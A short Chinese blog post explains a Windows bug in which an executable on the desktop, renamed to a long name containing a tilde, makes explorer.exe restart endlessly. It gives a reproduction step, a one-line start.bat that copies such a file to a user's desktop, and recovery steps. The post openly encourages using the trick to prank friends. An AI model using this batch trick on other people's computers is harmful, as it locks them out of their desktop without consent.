Sorry, your browser cannot access this site
This page requires browser support (enable) JavaScript
Learn more >

先逝试:

将Python的主程序复制到桌面,然后将其重命名为:

1
00000000000000000000000000000000000000000000000000000000000000000~00000000000000000000000000000000000000000000000000000000000000000

咦?神奇的事情发生了:桌面不停黑屏无法打开任何应用——系统正在不停地重启资源管理器(explore.exe)!

为什么会发生这种事?具体原因可以参考边亮和epcdiy的这期视频,这篇文章只讲怎么复现修复

复现

该Bug可能已经在新版本中被修复,推荐使用Windows 7~Windows 11 22H2。

先将任意可以运行的exe应用程序(或ico文件)复制到桌面,然后重命名为大于130个字符且至少含有一个波浪符(~)的名称,即可复现。

当然,也可以编写一个批处理文件,名为start.bat,方便整蛊别人测试Bug,内容如下:

1
copy ".\data\00000000000000000000000000000000000000000000000000000000000000000~00000000000000000000000000000000000000000000000000000000000000000.exe" "%USERPROFILE%\Desktop"

这条cmd命令将当前文件夹下的data文件夹的“00000000000000000000000000000000000000000000000000000000000000000~00000000000000000000000000000000000000000000000000000000000000000.exe”复制到当前用户的桌面文件夹。只需要将其保存为start.bat,放在一个文件夹下,并创建一个data文件夹用于存放重命名过的文件,程序名称换成你的文件名,需要时运行start.bat即可。

修复

整完别人测试完后,该如何让电脑恢复正常呢?

  1. Ctrl+Alt+Del打开安全选项,右下角点击电源,按住Shift点重启,直到提示“请稍候”;

  2. 开机时进入高级选项,点击“疑难解答”-“高级选项”-“命令提示符”

  3. 输入:

    1
    2
    3
    4
    5
    C:
    cd /Users
    cd 用户名
    cd Desktop
    del 00000000000000000000000000000000000000000000000000000000000000000~00000000000000000000000000000000000000000000000000000000000000000.exe

    del后的文本换成你的文件名,也可以按Tab键找你的文件,如果,每个命令输入完成后按回车

结语

怎么样,学废了吗?愣着干啥,快去整你的朋友啊!

评论